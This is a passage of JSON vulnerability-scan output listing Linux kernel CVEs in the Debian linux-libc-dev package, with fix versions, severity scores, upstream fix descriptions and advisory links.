"https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98974", "https://errata.almalinux.org/10/ALSA-2026-95367.html", "https://errata.rockylinux.org/RLSA-2026:95367", "https://git.kernel.org/linus/747b9bbbbdfdee51aee2456388f9b94b5086de4d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90315.mbox", "https://git.kernel.org/stable/c/3556caa31a2bfbc22c11b812fd4ed8851c2d7bff", "https://git.kernel.org/stable/c/747b9bbbbdfdee51aee2456388f9b94b5086de4d", "https://git.kernel.org/stable/c/cd07aef510ac6a2873e01f9ddddc5492490b0067", "https://linux.oracle.com/cve/CVE-2026-90315.html", "https://linux.oracle.com/errata/ELSA-2026-95367.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90315", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90315" ], "PublishedDate": "2026-09-17T17:17:29.34Z", "LastModifiedDate": "2026-10-19T09:19:25.46Z" }, { "VulnerabilityID": "CVE-2026-93288", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93288", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:011aaf275a7f8501e90acd1cdaefb1e77d70074c99ca9ff019b7976331c3168a", "Title": "kernel: netfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state\n\nsashiko reports: \"nfnl_log_net_exit() calls nf_log_unset(), which\nclears the logger pointer without an RCU grace period. Immediately after,\nops_free_list() frees the per-net state while concurrent packets might\nstill be executing nf_log_packet() under rcu_read_lock().\"\n\nClear the pointer via .pre_exit to make sure rcu readers have completed\nbefore pernet storage is free'd. The change in nf_log_syslog.c is only\ndone for consistency: it doesn't use pernet data.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-93288", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93288.mbox", "https://git.kernel.org/stable/c/33d1469b0124cc0baaea7a2032123b77a81e0940", "https://git.kernel.org/stable/c/3b9aa62d78ce80de47af2db472ff452398755213", "https://git.kernel.org/stable/c/5570d6c8b320dbcc602617ee08c27ce752fed65a", "https://git.kernel.org/stable/c/ba2e246aa294f9acd86194ea87fb6834ed0a37ac", "https://git.kernel.org/stable/c/dc20050b6b12ca58066715d088e1a537535d938d", "https://git.kernel.org/stable/c/f4461654374576e9d5d0245fd534c46ad8509051", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-ile2zor2vjdr.toml", "https://linux.oracle.com/cve/CVE-2026-93288.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93288", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-93288" ], "PublishedDate": "2026-09-24T17:17:10.07Z", "LastModifiedDate": "2026-10-03T11:17:47.413Z" }, { "VulnerabilityID": "CVE-2026-93787", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93787", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a7f3e4ce8884492d57ac259945662329570c29e5d9f4c4e0bfeba1de68ba002", "Title": "kernel: smb: client: bound dirent name against end of SMB response in cifs_filldir", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: bound dirent name against end of SMB response in cifs_filldir\n\ncifs_filldir() copies the entry name out of an SMB1 TRANS2_FIND_FIRST /\nFIND_NEXT response using a length (de.namelen) supplied by the server.\nThe kmalloc'd SMB response buffer is bounded, but nothing checks that\nde.name + de.namelen still lies inside that buffer before the eventual\nfilldir64() -\u003e verify_dirent_name() -\u003e memchr() reads namelen bytes.\n\nA hostile SMB1 server that returns an oversized FileNameLength in a\ndirectory entry therefore causes memchr() to read past the end of the\nresponse slab buffer. Reachable from any user who can list a directory\non a CIFS mount served by an attacker-controlled server (getdents64()\non the mounted directory):\n\n BUG: KASAN: slab-out-of-bounds in memchr+0x71/0x80\n Read of size 1 at addr ffff88800e0640cc by task poc/115\n Call Trace:\n dump_stack_lvl+0x64/0x80\n print_report+0xce/0x620\n kasan_report+0xec/0x120\n memchr+0x71/0x80\n filldir64+0x4c/0x6a0\n cifs_filldir.constprop.0+0x9bb/0x1e00\n cifs_readdir+0x2101/0x3380\n iterate_dir+0x19c/0x520\n __x64_sys_getdents64+0x126/0x210\n do_syscall_64+0x107/0x5a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nPass the end-of-response pointer down to cifs_filldir() and reject\nentries whose name would extend past that boundary.\n\nThis bug was discovered by Artiphishell's vTriage pipeline, which\ngenerated a userspace reproducer (an emulated hostile SMB1 server plus\na getdents64() client) that reliably triggers the KASAN report on an\nunpatched kernel. The fix below was drafted with the Claude coding\nassistant; a userspace reproducer is available on request.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-93787", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93787.mbox", "https://git.kernel.org/stable/c/03003506c86f90312b0966283662c42fcab66e4b", "https://git.kernel.org/stable/c/4cb3d79beee0fecc739ce07af915d503f29ae557", "https://git.kernel.org/stable/c/6e3b965267b7313903baba2739992b1e2e92d540", "https://git.kernel.org/stable/c/cf87ef1e62ed31a439064cef69d6eec38c68bd92", "https://git.kernel.org/stable/c/f8cf09a53a0dc1da298e9dd0ba5f21710cf119d6", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-rw0v4f1kee9f.toml", "https://linux.oracle.com/cve/CVE-2026-93787.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93787", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93787" ], "PublishedDate": "2026-09-24T17:17:11.363Z", "LastModifiedDate": "2026-10-03T11:17:48.293Z" }, { "VulnerabilityID": "CVE-2026-93817", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93817", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:11b3e562a9813b37f626b299962e52dea141b32dccec49ad99987834b0a19974", "Title": "kernel: perf: Fix addr_filter_ranges lifetime", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix addr_filter_ranges lifetime\n\nLee Jia Jie reported that since event::addr_filter_ranges is used\nunder RCU, it should be RCU freed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-93817", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93817.mbox", "https://git.kernel.org/stable/c/1d8e1e99b063de4179cc8af14d08115d74a37abf", "https://git.kernel.org/stable/c/6f1853b2b9f38f1343790bae8c0601b3f7554754", "https://git.kernel.org/stable/c/a0b1ec3a2daf4d4233fae9b5b8d657b4a5db4df6", "https://git.kernel.org/stable/c/cd8dab11046c03ab07899ce3fe2aa7d1a9702cf1", "https://git.kernel.org/stable/c/e62d4192e593630f355094adc467058a05bdc935", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-zjdir6glgvax.toml", "https://linux.oracle.com/cve/CVE-2026-93817.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93817", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93817" ], "PublishedDate": "2026-09-24T17:17:15.233Z", "LastModifiedDate": "2026-10-30T13:21:03.323Z" }, { "VulnerabilityID": "CVE-2026-93827", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93827", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3d9f54fd0c2dbcadaf762984aa1d2fe15b1a383254f23d85bd3dcc43f0bdca1a", "Title": "kernel: virtio-fs: avoid double-free on failed queue setup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio-fs: avoid double-free on failed queue setup\n\nvirtio_fs_setup_vqs() allocates fs-\u003evqs and fs-\u003emq_map before calling\nvirtio_find_vqs(). If virtio_find_vqs() fails, the error path frees both\npointers and returns an error to virtio_fs_probe().\n\nvirtio_fs_probe() then drops the last kobject reference, and\nvirtio_fs_ktype_release() frees fs-\u003evqs and fs-\u003emq_map again. This leaves\ndangling pointers in struct virtio_fs and can trigger a double-free during\nprobe failure cleanup.\n\nSet fs-\u003evqs and fs-\u003emq_map to NULL immediately after kfree() in the\nvirtio_fs_setup_vqs() error path so that the later kobject release sees an\nuninitialized state and kfree(NULL) becomes harmless.\n\nThis can be reproduced when a broken virtio-fs device advertises more\nrequest queues than the transport actually provides. In that case\nvirtio_find_vqs() fails while setting up the extra queue, and the probe\npath reaches the double-free cleanup sequence.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-93827", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93827.mbox", "https://git.kernel.org/stable/c/20ef4739b329bb09cff11dd2458795a50674658e", "https://git.kernel.org/stable/c/3fbc5ee776fefbc6ea34d2518f1f5f90aa2e1dad", "https://git.kernel.org/stable/c/6af3330ec5d5fb8c06c04eb520a71cf73ea5a765", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-qlg0dsti52s9.toml", "https://linux.oracle.com/cve/CVE-2026-93827.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93827", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93827" ], "PublishedDate": "2026-09-24T17:17:16.41Z", "LastModifiedDate": "2026-09-25T13:17:23.513Z" }, { "VulnerabilityID": "CVE-2026-97417", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c907a703ac1602ed2290d1d1364cd13f99aaa7d33d9a9a6087af438c2c1368e9", "Title": "kernel: netfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()\n\nThe timestamp-only fast path dereferences the option stream as\n*(__be32 *)ptr, which assumes 4-byte alignment that the TCP option\nstream does not guarantee. Use get_unaligned_be32() instead, which\nreads the value safely and already returns host byte order, so the\nhtonl() on the comparison constant can be dropped.\n\nThis matches the existing get_unaligned_be32() use later in the same\nfunction.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-97417", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", 